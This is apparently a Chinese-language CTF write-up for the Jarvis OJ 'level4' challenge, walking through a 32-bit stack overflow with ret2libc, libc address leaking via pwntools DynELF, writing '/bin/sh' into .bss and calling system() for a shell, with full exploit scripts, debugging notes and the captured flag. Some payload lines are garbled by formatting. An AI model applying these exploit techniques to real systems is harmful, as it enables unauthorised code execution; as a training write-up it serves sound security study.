level4

level4
32为程序,开了nx
看程序
“”

没啥特别的。进ida 看
“”

“”

溢出点啥的,都和前面的查不多。
那我们直接来写payload 试试

1,payload = “A”0x88 + “”BBBB” + p32(write_addr) + p32(return_readaddr )+p32(1) + p32( read got_addr) + p32(4)
2,payload = “A”
0x88 + “BBBB” + p32(system_addr) + p32(4) + p32(binsh_addr)
直接给出 exp:
from pwn import *

#p = process(‘./level4’)
elf = ELF(‘./level4’)
libc = ELF(‘/lib/i386-linux-gnu/libc.so.6’)
p = remote(‘pwn2.jarvisoj.com’,9880)

read_got_addr = elf.got[‘read’]
write_plt_addr = elf.symbols[‘write’]
binsh_offset = next(libc.search(‘/bin/sh’))

return_read_addr = 0x0804844B

payload = “A”*0x88 + “BBBB”
payload += p32(write_plt_addr)
payload += p32(return_read_addr)
payload += p32(1)
payload += p32(read_got_addr)
payload += p32(4)

p.send(payload)
return_read = p.recv(4)
read_offset = u32(return_read)
libc_addr = read_offset - libc.symbols[‘read’]

system_addr = libc_addr + libc.symbols[‘system’]
binsh_addr = libc_addr + binsh_offset

payload = “A”*0x88 + “BBBB”
payload += p32(system_addr)
payload += p32(4)
payload += p32(binsh_addr)

p.send(payload)

p.interactive()


这个exp 本地打,成功了。远程攻击,却失败了
“”

这是为什么呢?
还记不记得前面有几个题目,为我们提供了它的 so 库。而这里没有,我们使用的是自己本地的库。
也就是说,打过去,对面使用的不是和我们一样的 so库。
那怎么办呢。
下面就要用另一种方法, 使用pwntools的DynELF模块来泄漏地址信息
前提条件是要提供一个输入地址,输出此地址最少1byte数的函数。
官网给出的说明:Given a function which can leak data at an arbitrary address, any symbol in any loaded library can be resolved.
下面是官网给的例子,好好看下就明白怎么用了。

#Assume a process or remote connection
p = process(‘./pwnme’)

#Declare a function that takes a single address, and

#leaks at least one byte at that address.
def leak(address):
data = p.read(address, 4)
log.debug(“%#x => %s” % (address, (data or ‘’).encode(‘hex’)))
return data

#For the sake of this example, let’s say that we

#have any of these pointers. One is a pointer into

#target binary, the other two are pointers into libc
main = 0xfeedf4ce
libc = 0xdeadb000
system = 0xdeadbeef

#With our leaker, and a pointer into our target binary,

#we can resolve the address of anything.
#

#We do not actually need to have a copy of the target

#binary for this to work.
d = DynELF(leak, main)
assert d.lookup(None, ‘libc’) == libc #libc的基址
assert d.lookup(‘system’, ‘libc’) == system #system的地址

#However, if we do have a copy of the target binary,

#we can speed up some of the steps.

#指定一份elf的副本可以加速查找过程
d = DynELF(leak, main, elf=ELF(‘./pwnme’))
assert d.lookup(None, ‘libc’) == libc
assert d.lookup(‘system’, ‘libc’) == system

#Alternately, we can resolve symbols inside another library,

#given a pointer into it.
d = DynELF(leak, libc + 0x1234)

assert d.lookup(‘system’) == system

通过 DynELF 我们能找到 system 的函数,但是还是要通过 write 函数输出,在去接收。后面还要自己向 bss 段写入 /bin/sh
先来找到 system 再说~~

def leak(address):
payload = “A”*0x88 + “BBBB” + p32( write_plt)
payload += p32(return_read_addr ) + p32(1) + p32(address) + p32(4)
p.send(payload)
return_addr = p.recv(4)
print “%#x %s” % (address, data)
return return_addr

d = DynELF(leak, elf)

system_addr = d.lookup(‘system’, ‘libc’)
log.success(‘leak system address : ‘ + hex(system_addr))

好,到这里我们搞定了 System 可是我们还差个 /bin/sh 啊。
前面说了,要我们自己把 /bin/sh 写入 bss 段中。那就要再次使用 read 函数,并且要找到 bss 的起始地址 ,这之后在来触发 system 函数
我直接就给出来,来慢慢分析

bss_addr = elf.bss() #取到 bss 的起始地址
payload = “A”*0x80 + “BBBB” + p32(read_plt_addr ) # 返回到 read 函数
payload += p32( return_read_addr) # 返回到 vulnerable_function再次触发漏洞的位置,也就是 read 函数
payload += p32(0) # read 函数的第一个参数 stdin
payload += p32(bss_addr) # 第二个参数, bss 的地址
payload += p32(8) # 写入到 bss 中的数据长度
payload += p32(system_addr) # 返回到 system 函数
payload += p32(bss_addr) # 从 bss 的位置取出我们写入的 /bin/sh

p.send(payload)
p.send(“/bin/sh\x00”)

解释一下为什么 read 的一个参数写 0
“”

但是根据上面的步骤,我们写出来的exp是不对的。。。。。
为什么呢??
根据我的调试来看,当我们执行到第二个payload 的 返回 read函数这句的时候,上面红色字体那句。
之前传入栈上的数据: “A”*0x80 + “BBBB” + p32(read_plt_addr ) ,依然在栈上。我们没有平衡栈
什么叫平衡栈?
简单的说,就是在调用一个函数前,会保存程序执行的位置在栈上,当函数执行完成后,会返回到这个地址。
但是,我们是用覆盖返回地址来做的。那么,当 vulnerable_function 函数执行完一次后,我们又返回到 vulnerable_function函数,那么,vulnerable_function 函数开始前 又要保护现场,也就是执行 push ebp ,可我们的 ebp 被我们覆盖成了 BBBB,所以 BBBB 再次入栈,如下图,栈中2处位置都出现了 BBBB
“”

而第二处 BBBB 下面就是我们的 read 函数的 3个参数存放的位置,而且注意下面我标出的红框。
不仅 push ebp ,还 push eax push 0 ,所以在我们的read 3个参数上面多了 3x4 = 12 字节的数据,
注意 另外2句对 esp 的操作,,先是 sub esp ,4 最后有个 add esp , 16 ,所以 esp 最终指向了第二出 BBBB
然后执行 leave ret ,之前说过 leave = mov esp, ebp –> pop ebp , 而 ret = pop eip
执行到 ret 的时候,栈指针指向了我们 read 3个参数的第一个 0
所以看右下脚, return to 00000000
返回了一个错误的地址。。当然就出错了
“”

那怎么办呢???
很简单,我们上面分析的情况,是栈中多了3个参数,才使我们的返回地址错误了。
那么,我可以在返回之前,然程序执行 3个 pop 指令,然后在返回来。
嘿嘿,这3个 pop 指令哪里去找?
当然在__libc_csu_init 的最后那里,一直说他是同意 gadget ,知道为什么了把。
我们只要3个 pop + ret 就行。去 ida 中看看
“”

那么,第二段的 payload 写法改成 如下:

poppp_ret_addr = 0x08048509
payload2 = “A”*0x88 + “BBBB” + p32(read_plt_addr)
payload2 += p32(poppp_ret_addr)
payload2 += p32(0)
payload2 += p32(bss_addr)
payload2 += p32(8)
payload2 += p32(system_addr)
payload2 += p32(return_read_addr)
payload2 += p32(bss_addr)

但是,这样依然有问题。
根据我调试跟踪,发现程序返回到 system_addr 之后。
我们输入 whoami,程序执行完了之后,会回到 return_read_addr ,上面红色字体这句,这句执行又 read 函数,我们输入 whoami,根据调试看到,读入的 whoami 放在了0x0804a024 地址出 ,程序又回到了 vulnerable_function 函数,这次我们再次输入 whoami
“”

发现程序出现下面的状况。也就是程序根本就没执行 system(/bin/sh)
“”
那我们把上面那句红色的地方,改成 回到 main 函数行不行呢? 改成:payload2 += p32(main)
答案是否定的。
为什么呢?这次依然是这个地址,但是看寄存器 edi,里面放在我们输入的 whoami 。如图,,还是崩掉了。
“”

好吧,为什么出现这样的状况呢。
还是平衡栈的问题。
还记得我们的第一个 payload 吧, 在 def leak() 这个函数中的。 我们用 write函数打印出需要的地址后,还是直接返回到了 vulnerable_function
根据程序的执行过程,我们执行完 write 函数后,应该返回到 main 函数的,可是被我们覆盖成了 vulnerable_function 。这里就不平衡。
但是,我没有继续动态调试跟进。因为设计到用 DynELF 模块寻找 system 函数,我尝试跟过,最后把自己绕晕了。。
所以,按正常的流程来,我们应该让那里返回到 main 函数。返回到main函数呢,有可以采取2个方法,所以那个payload 有2种写法。
如下:
1, payload = “A”*0x88 + “BBBB” + p32( write_plt)
payload += p32(main) + p32(1) + p32(address) + p32(4)

2, payload = “A”*0x88 + “BBBB” + p32( write_plt)
payload += p32(poppp_ret_addr) + p32(1) + p32(address) + p32(4)+p32(main)

第二种,就是先把栈中数据清掉,也就 write 函数的3个参数。而第一种,没有清掉栈中的数据,但也能成功的原因呢,我想是因为程序的执行流程是这样的,从 write函数 回到 main函数。这里没有深究,如果说的不对,请多多包涵。

好好,综上所述,我们的最终payload 如下:
payload = “A”0x88 + “BBBB” + p32( write_plt)
payload += p32(main) + p32(1) + p32(address) + p32(4)
………………..
payload2 = “A”
0x88 + “BBBB” + p32(read_plt_addr)
payload2 += p32(poppp_ret_addr)
payload2 += p32(0)
payload2 += p32(bss_addr)
payload2 += p32(8)
payload2 += p32(system_addr)
payload2 += p32(main)
payload2 += p32(bss_addr)

最后的最后,exp如下:
from pwn import *

#p = process(‘./level4’)
elf = ELF(‘./level4’)
p=remote(‘pwn2.jarvisoj.com’,9880)
write_plt = 0x08048340
read_plt_addr = 0x08048310
return_read_addr = 0x0804844B
bss_addr = elf.bss()
main = elf.symbols[‘main’]

poppp_ret_addr = 0x8048509

def leak(address):
payload = “A”*0x88 + “BBBB” + p32( write_plt)
payload += p32(main) + p32(1) + p32(address) + p32(4)
p.send(payload)
return_addr = p.recv(4)
return return_addr

d = DynELF(leak, elf=ELF(‘./level4’))

system_addr = d.lookup(‘system’, ‘libc’)

#log.success(‘leak system address : ‘ + hex(system_addr))

payload2 = “A”*0x88 + “BBBB” + p32(read_plt_addr)
payload2 += p32(poppp_ret_addr)
payload2 += p32(0)
payload2 += p32(bss_addr)
payload2 += p32(8)
payload2 += p32(system_addr)
payload2 += p32(main)
payload2 += p32(bss_addr)

#ss = raw_input()
p.send(payload2)
p.send(‘/bin/sh\x00’)

p.interactive()
“”
CTF{882130cf51d65fb705440b218e94e98e}